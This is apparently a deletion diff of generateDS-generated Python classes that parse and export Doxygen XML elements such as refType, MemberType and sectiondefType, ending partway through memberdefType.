self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='incType') - if self.hasContent_(): - outfile.write('>') - outfile.write(self.convert_unicode(self.valueOf_)) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='incType', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='incType'): - if self.refid is not None and 'refid' not in already_processed: - already_processed.add('refid') - outfile.write(' refid=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.refid), input_name='refid')), )) - if self.local is not None and 'local' not in already_processed: - already_processed.add('local') - outfile.write(' local=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.local), input_name='local')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='incType', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('refid', node) - if value is not None and 'refid' not in already_processed: - already_processed.add('refid') - self.refid = value - value = find_attr_value_('local', node) - if value is not None and 'local' not in already_processed: - already_processed.add('local') - self.local = value - self.validate_DoxBool(self.local) # validate type DoxBool - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class incType - - -class refType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, refid=None, prot=None, inline=None, valueOf_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.refid = _cast(None, refid) - self.refid_nsprefix_ = None - self.prot = _cast(None, prot) - self.prot_nsprefix_ = None - self.inline = _cast(None, inline) - self.inline_nsprefix_ = None - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, refType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if refType.subclass: - return refType.subclass(*args_, **kwargs_) - else: - return refType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_refid(self): - return self.refid - def set_refid(self, refid): - self.refid = refid - def get_prot(self): - return self.prot - def set_prot(self, prot): - self.prot = prot - def get_inline(self): - return self.inline - def set_inline(self, inline): - self.inline = inline - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def validate_DoxProtectionKind(self, value): - # Validate type DoxProtectionKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['public', 'protected', 'private', 'package'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxProtectionKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def validate_DoxBool(self, value): - # Validate type DoxBool, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['yes', 'no'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxBool' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='refType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('refType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'refType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='refType') - if self.hasContent_(): - outfile.write('>') - outfile.write(self.convert_unicode(self.valueOf_)) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='refType', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='refType'): - if self.refid is not None and 'refid' not in already_processed: - already_processed.add('refid') - outfile.write(' refid=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.refid), input_name='refid')), )) - if self.prot is not None and 'prot' not in already_processed: - already_processed.add('prot') - outfile.write(' prot=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.prot), input_name='prot')), )) - if self.inline is not None and 'inline' not in already_processed: - already_processed.add('inline') - outfile.write(' inline=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.inline), input_name='inline')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='refType', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('refid', node) - if value is not None and 'refid' not in already_processed: - already_processed.add('refid') - self.refid = value - value = find_attr_value_('prot', node) - if value is not None and 'prot' not in already_processed: - already_processed.add('prot') - self.prot = value - self.validate_DoxProtectionKind(self.prot) # validate type DoxProtectionKind - value = find_attr_value_('inline', node) - if value is not None and 'inline' not in already_processed: - already_processed.add('inline') - self.inline = value - self.validate_DoxBool(self.inline) # validate type DoxBool - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class refType - - -class refTextType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, refid=None, kindref=None, external=None, tooltip=None, valueOf_=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.refid = _cast(None, refid) - self.refid_nsprefix_ = None - self.kindref = _cast(None, kindref) - self.kindref_nsprefix_ = None - self.external = _cast(None, external) - self.external_nsprefix_ = None - self.tooltip = _cast(None, tooltip) - self.tooltip_nsprefix_ = None - self.valueOf_ = valueOf_ - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, refTextType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if refTextType.subclass: - return refTextType.subclass(*args_, **kwargs_) - else: - return refTextType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_refid(self): - return self.refid - def set_refid(self, refid): - self.refid = refid - def get_kindref(self): - return self.kindref - def set_kindref(self, kindref): - self.kindref = kindref - def get_external(self): - return self.external - def set_external(self, external): - self.external = external - def get_tooltip(self): - return self.tooltip - def set_tooltip(self, tooltip): - self.tooltip = tooltip - def get_valueOf_(self): return self.valueOf_ - def set_valueOf_(self, valueOf_): self.valueOf_ = valueOf_ - def validate_DoxRefKind(self, value): - # Validate type DoxRefKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['compound', 'member'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxRefKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - (1 if type(self.valueOf_) in [int,float] else self.valueOf_) - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='refTextType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('refTextType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'refTextType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='refTextType') - if self.hasContent_(): - outfile.write('>') - outfile.write(self.convert_unicode(self.valueOf_)) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='refTextType', pretty_print=pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='refTextType'): - if self.refid is not None and 'refid' not in already_processed: - already_processed.add('refid') - outfile.write(' refid=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.refid), input_name='refid')), )) - if self.kindref is not None and 'kindref' not in already_processed: - already_processed.add('kindref') - outfile.write(' kindref=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.kindref), input_name='kindref')), )) - if self.external is not None and 'external' not in already_processed: - already_processed.add('external') - outfile.write(' external=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.external), input_name='external')), )) - if self.tooltip is not None and 'tooltip' not in already_processed: - already_processed.add('tooltip') - outfile.write(' tooltip=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.tooltip), input_name='tooltip')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='refTextType', fromsubclass_=False, pretty_print=True): - pass - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - self.valueOf_ = get_all_text_(node) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('refid', node) - if value is not None and 'refid' not in already_processed: - already_processed.add('refid') - self.refid = value - value = find_attr_value_('kindref', node) - if value is not None and 'kindref' not in already_processed: - already_processed.add('kindref') - self.kindref = value - self.validate_DoxRefKind(self.kindref) # validate type DoxRefKind - value = find_attr_value_('external', node) - if value is not None and 'external' not in already_processed: - already_processed.add('external') - self.external = value - value = find_attr_value_('tooltip', node) - if value is not None and 'tooltip' not in already_processed: - already_processed.add('tooltip') - self.tooltip = value - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - pass -# end class refTextType - - -class MemberType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, refid=None, kind=None, name=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.refid = _cast(None, refid) - self.refid_nsprefix_ = None - self.kind = _cast(None, kind) - self.kind_nsprefix_ = None - self.name = name - self.name_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, MemberType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if MemberType.subclass: - return MemberType.subclass(*args_, **kwargs_) - else: - return MemberType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_name(self): - return self.name - def set_name(self, name): - self.name = name - def get_refid(self): - return self.refid - def set_refid(self, refid): - self.refid = refid - def get_kind(self): - return self.kind - def set_kind(self, kind): - self.kind = kind - def validate_MemberKind(self, value): - # Validate type MemberKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['define', 'property', 'event', 'variable', 'typedef', 'enum', 'enumvalue', 'function', 'signal', 'prototype', 'friend', 'dcop', 'slot'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on MemberKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - self.name is not None - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='MemberType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('MemberType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'MemberType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='MemberType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='MemberType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='MemberType'): - if self.refid is not None and 'refid' not in already_processed: - already_processed.add('refid') - outfile.write(' refid=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.refid), input_name='refid')), )) - if self.kind is not None and 'kind' not in already_processed: - already_processed.add('kind') - outfile.write(' kind=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.kind), input_name='kind')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='MemberType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.name is not None: - namespaceprefix_ = self.name_nsprefix_ + ':' if (UseCapturedNS_ and self.name_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sname>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.name), input_name='name')), namespaceprefix_ , eol_)) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('refid', node) - if value is not None and 'refid' not in already_processed: - already_processed.add('refid') - self.refid = value - value = find_attr_value_('kind', node) - if value is not None and 'kind' not in already_processed: - already_processed.add('kind') - self.kind = value - self.validate_MemberKind(self.kind) # validate type MemberKind - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'name': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'name') - value_ = self.gds_validate_string(value_, node, 'name') - self.name = value_ - self.name_nsprefix_ = child_.prefix -# end class MemberType - - -class sectiondefType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, kind=None, header=None, description=None, memberdef=None, member=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.kind = _cast(None, kind) - self.kind_nsprefix_ = None - self.header = header - self.header_nsprefix_ = None - self.description = description - self.description_nsprefix_ = None - if memberdef is None: - self.memberdef = [] - else: - self.memberdef = memberdef - self.memberdef_nsprefix_ = None - if member is None: - self.member = [] - else: - self.member = member - self.member_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, sectiondefType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if sectiondefType.subclass: - return sectiondefType.subclass(*args_, **kwargs_) - else: - return sectiondefType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_header(self): - return self.header - def set_header(self, header): - self.header = header - def get_description(self): - return self.description - def set_description(self, description): - self.description = description - def get_memberdef(self): - return self.memberdef - def set_memberdef(self, memberdef): - self.memberdef = memberdef - def add_memberdef(self, value): - self.memberdef.append(value) - def insert_memberdef_at(self, index, value): - self.memberdef.insert(index, value) - def replace_memberdef_at(self, index, value): - self.memberdef[index] = value - def get_member(self): - return self.member - def set_member(self, member): - self.member = member - def add_member(self, value): - self.member.append(value) - def insert_member_at(self, index, value): - self.member.insert(index, value) - def replace_member_at(self, index, value): - self.member[index] = value - def get_kind(self): - return self.kind - def set_kind(self, kind): - self.kind = kind - def validate_DoxSectionKind(self, value): - # Validate type DoxSectionKind, a restriction on xsd:string. - if value is not None and Validate_simpletypes_ and self.gds_collector_ is not None: - if not isinstance(value, str): - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s is not of the correct base simple type (str)' % {"value": value, "lineno": lineno, }) - return False - value = value - enumerations = ['user-defined', 'public-type', 'public-func', 'public-attrib', 'public-slot', 'signal', 'dcop-func', 'property', 'event', 'public-static-func', 'public-static-attrib', 'protected-type', 'protected-func', 'protected-attrib', 'protected-slot', 'protected-static-func', 'protected-static-attrib', 'package-type', 'package-func', 'package-attrib', 'package-static-func', 'package-static-attrib', 'private-type', 'private-func', 'private-attrib', 'private-slot', 'private-static-func', 'private-static-attrib', 'friend', 'related', 'define', 'prototype', 'typedef', 'enum', 'func', 'var'] - if value not in enumerations: - lineno = self.gds_get_node_lineno_() - self.gds_collector_.add_message('Value "%(value)s"%(lineno)s does not match xsd enumeration restriction on DoxSectionKind' % {"value" : encode_str_2_3(value), "lineno": lineno} ) - result = False - def hasContent_(self): - if ( - self.header is not None or - self.description is not None or - self.memberdef or - self.member - ): - return True - else: - return False - def export(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='sectiondefType', pretty_print=True): - imported_ns_def_ = GenerateDSNamespaceDefs_.get('sectiondefType') - if imported_ns_def_ is not None: - namespacedef_ = imported_ns_def_ - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.original_tagname_ is not None and name_ == 'sectiondefType': - name_ = self.original_tagname_ - if UseCapturedNS_ and self.ns_prefix_: - namespaceprefix_ = self.ns_prefix_ + ':' - showIndent(outfile, level, pretty_print) - outfile.write('<%s%s%s' % (namespaceprefix_, name_, namespacedef_ and ' ' + namespacedef_ or '', )) - already_processed = set() - self.exportAttributes(outfile, level, already_processed, namespaceprefix_, name_='sectiondefType') - if self.hasContent_(): - outfile.write('>%s' % (eol_, )) - self.exportChildren(outfile, level + 1, namespaceprefix_, namespacedef_, name_='sectiondefType', pretty_print=pretty_print) - showIndent(outfile, level, pretty_print) - outfile.write('%s' % (namespaceprefix_, name_, eol_)) - else: - outfile.write('/>%s' % (eol_, )) - def exportAttributes(self, outfile, level, already_processed, namespaceprefix_='', name_='sectiondefType'): - if self.kind is not None and 'kind' not in already_processed: - already_processed.add('kind') - outfile.write(' kind=%s' % (self.gds_encode(self.gds_format_string(quote_attrib(self.kind), input_name='kind')), )) - def exportChildren(self, outfile, level, namespaceprefix_='', namespacedef_='', name_='sectiondefType', fromsubclass_=False, pretty_print=True): - if pretty_print: - eol_ = '\n' - else: - eol_ = '' - if self.header is not None: - namespaceprefix_ = self.header_nsprefix_ + ':' if (UseCapturedNS_ and self.header_nsprefix_) else '' - showIndent(outfile, level, pretty_print) - outfile.write('<%sheader>%s%s' % (namespaceprefix_ , self.gds_encode(self.gds_format_string(quote_xml(self.header), input_name='header')), namespaceprefix_ , eol_)) - if self.description is not None: - namespaceprefix_ = self.description_nsprefix_ + ':' if (UseCapturedNS_ and self.description_nsprefix_) else '' - self.description.export(outfile, level, namespaceprefix_, namespacedef_='', name_='description', pretty_print=pretty_print) - for memberdef_ in self.memberdef: - namespaceprefix_ = self.memberdef_nsprefix_ + ':' if (UseCapturedNS_ and self.memberdef_nsprefix_) else '' - memberdef_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='memberdef', pretty_print=pretty_print) - for member_ in self.member: - namespaceprefix_ = self.member_nsprefix_ + ':' if (UseCapturedNS_ and self.member_nsprefix_) else '' - member_.export(outfile, level, namespaceprefix_, namespacedef_='', name_='member', pretty_print=pretty_print) - def build(self, node, gds_collector_=None): - self.gds_collector_ = gds_collector_ - if SaveElementTreeNode: - self.gds_elementtree_node_ = node - already_processed = set() - self.ns_prefix_ = node.prefix - self.buildAttributes(node, node.attrib, already_processed) - for child in node: - nodeName_ = Tag_pattern_.match(child.tag).groups()[-1] - self.buildChildren(child, node, nodeName_, gds_collector_=gds_collector_) - return self - def buildAttributes(self, node, attrs, already_processed): - value = find_attr_value_('kind', node) - if value is not None and 'kind' not in already_processed: - already_processed.add('kind') - self.kind = value - self.validate_DoxSectionKind(self.kind) # validate type DoxSectionKind - def buildChildren(self, child_, node, nodeName_, fromsubclass_=False, gds_collector_=None): - if nodeName_ == 'header': - value_ = child_.text - value_ = self.gds_parse_string(value_, node, 'header') - value_ = self.gds_validate_string(value_, node, 'header') - self.header = value_ - self.header_nsprefix_ = child_.prefix - elif nodeName_ == 'description': - obj_ = descriptionType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.description = obj_ - obj_.original_tagname_ = 'description' - elif nodeName_ == 'memberdef': - obj_ = memberdefType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.memberdef.append(obj_) - obj_.original_tagname_ = 'memberdef' - elif nodeName_ == 'member': - obj_ = MemberType.factory(parent_object_=self) - obj_.build(child_, gds_collector_=gds_collector_) - self.member.append(obj_) - obj_.original_tagname_ = 'member' -# end class sectiondefType - - -class memberdefType(GeneratedsSuper): - __hash__ = GeneratedsSuper.__hash__ - subclass = None - superclass = None - def __init__(self, kind=None, id=None, prot=None, static=None, strong=None, const=None, explicit=None, inline=None, refqual=None, virt=None, volatile=None, mutable=None, noexcept=None, constexpr=None, readable=None, writable=None, initonly=None, settable=None, privatesettable=None, protectedsettable=None, gettable=None, privategettable=None, protectedgettable=None, final=None, sealed=None, new=None, add=None, remove=None, raise_=None, optional=None, required=None, accessor=None, attribute=None, property=None, readonly=None, bound=None, removable=None, constrained=None, transient=None, maybevoid=None, maybedefault=None, maybeambiguous=None, templateparamlist=None, type_=None, definition=None, argsstring=None, name=None, qualifiedname=None, read=None, write=None, bitfield=None, reimplements=None, reimplementedby=None, qualifier=None, param=None, enumvalue=None, requiresclause=None, initializer=None, exceptions=None, briefdescription=None, detaileddescription=None, inbodydescription=None, location=None, references=None, referencedby=None, gds_collector_=None, **kwargs_): - self.gds_collector_ = gds_collector_ - self.gds_elementtree_node_ = None - self.original_tagname_ = None - self.parent_object_ = kwargs_.get('parent_object_') - self.ns_prefix_ = None - self.kind = _cast(None, kind) - self.kind_nsprefix_ = None - self.id = _cast(None, id) - self.id_nsprefix_ = None - self.prot = _cast(None, prot) - self.prot_nsprefix_ = None - self.static = _cast(None, static) - self.static_nsprefix_ = None - self.strong = _cast(None, strong) - self.strong_nsprefix_ = None - self.const = _cast(None, const) - self.const_nsprefix_ = None - self.explicit = _cast(None, explicit) - self.explicit_nsprefix_ = None - self.inline = _cast(None, inline) - self.inline_nsprefix_ = None - self.refqual = _cast(None, refqual) - self.refqual_nsprefix_ = None - self.virt = _cast(None, virt) - self.virt_nsprefix_ = None - self.volatile = _cast(None, volatile) - self.volatile_nsprefix_ = None - self.mutable = _cast(None, mutable) - self.mutable_nsprefix_ = None - self.noexcept = _cast(None, noexcept) - self.noexcept_nsprefix_ = None - self.constexpr = _cast(None, constexpr) - self.constexpr_nsprefix_ = None - self.readable = _cast(None, readable) - self.readable_nsprefix_ = None - self.writable = _cast(None, writable) - self.writable_nsprefix_ = None - self.initonly = _cast(None, initonly) - self.initonly_nsprefix_ = None - self.settable = _cast(None, settable) - self.settable_nsprefix_ = None - self.privatesettable = _cast(None, privatesettable) - self.privatesettable_nsprefix_ = None - self.protectedsettable = _cast(None, protectedsettable) - self.protectedsettable_nsprefix_ = None - self.gettable = _cast(None, gettable) - self.gettable_nsprefix_ = None - self.privategettable = _cast(None, privategettable) - self.privategettable_nsprefix_ = None - self.protectedgettable = _cast(None, protectedgettable) - self.protectedgettable_nsprefix_ = None - self.final = _cast(None, final) - self.final_nsprefix_ = None - self.sealed = _cast(None, sealed) - self.sealed_nsprefix_ = None - self.new = _cast(None, new) - self.new_nsprefix_ = None - self.add = _cast(None, add) - self.add_nsprefix_ = None - self.remove = _cast(None, remove) - self.remove_nsprefix_ = None - self.raise_ = _cast(None, raise_) - self.raise__nsprefix_ = None - self.optional = _cast(None, optional) - self.optional_nsprefix_ = None - self.required = _cast(None, required) - self.required_nsprefix_ = None - self.accessor = _cast(None, accessor) - self.accessor_nsprefix_ = None - self.attribute = _cast(None, attribute) - self.attribute_nsprefix_ = None - self.property = _cast(None, property) - self.property_nsprefix_ = None - self.readonly = _cast(None, readonly) - self.readonly_nsprefix_ = None - self.bound = _cast(None, bound) - self.bound_nsprefix_ = None - self.removable = _cast(None, removable) - self.removable_nsprefix_ = None - self.constrained = _cast(None, constrained) - self.constrained_nsprefix_ = None - self.transient = _cast(None, transient) - self.transient_nsprefix_ = None - self.maybevoid = _cast(None, maybevoid) - self.maybevoid_nsprefix_ = None - self.maybedefault = _cast(None, maybedefault) - self.maybedefault_nsprefix_ = None - self.maybeambiguous = _cast(None, maybeambiguous) - self.maybeambiguous_nsprefix_ = None - self.templateparamlist = templateparamlist - self.templateparamlist_nsprefix_ = None - self.type_ = type_ - self.type__nsprefix_ = None - self.definition = definition - self.definition_nsprefix_ = None - self.argsstring = argsstring - self.argsstring_nsprefix_ = None - self.name = name - self.name_nsprefix_ = None - self.qualifiedname = qualifiedname - self.qualifiedname_nsprefix_ = None - self.read = read - self.read_nsprefix_ = None - self.write = write - self.write_nsprefix_ = None - self.bitfield = bitfield - self.bitfield_nsprefix_ = None - if reimplements is None: - self.reimplements = [] - else: - self.reimplements = reimplements - self.reimplements_nsprefix_ = None - if reimplementedby is None: - self.reimplementedby = [] - else: - self.reimplementedby = reimplementedby - self.reimplementedby_nsprefix_ = None - if qualifier is None: - self.qualifier = [] - else: - self.qualifier = qualifier - self.qualifier_nsprefix_ = None - if param is None: - self.param = [] - else: - self.param = param - self.param_nsprefix_ = None - if enumvalue is None: - self.enumvalue = [] - else: - self.enumvalue = enumvalue - self.enumvalue_nsprefix_ = None - self.requiresclause = requiresclause - self.requiresclause_nsprefix_ = None - self.initializer = initializer - self.initializer_nsprefix_ = None - self.exceptions = exceptions - self.exceptions_nsprefix_ = None - self.briefdescription = briefdescription - self.briefdescription_nsprefix_ = None - self.detaileddescription = detaileddescription - self.detaileddescription_nsprefix_ = None - self.inbodydescription = inbodydescription - self.inbodydescription_nsprefix_ = None - self.location = location - self.location_nsprefix_ = None - if references is None: - self.references = [] - else: - self.references = references - self.references_nsprefix_ = None - if referencedby is None: - self.referencedby = [] - else: - self.referencedby = referencedby - self.referencedby_nsprefix_ = None - def factory(*args_, **kwargs_): - if CurrentSubclassModule_ is not None: - subclass = getSubclassFromModule_( - CurrentSubclassModule_, memberdefType) - if subclass is not None: - return subclass(*args_, **kwargs_) - if memberdefType.subclass: - return memberdefType.subclass(*args_, **kwargs_) - else: - return memberdefType(*args_, **kwargs_) - factory = staticmethod(factory) - def get_ns_prefix_(self): - return self.ns_prefix_ - def set_ns_prefix_(self, ns_prefix): - self.ns_prefix_ = ns_prefix - def get_templateparamlist(self): - return self.templateparamlist - def set_templateparamlist(self, templateparamlist): - 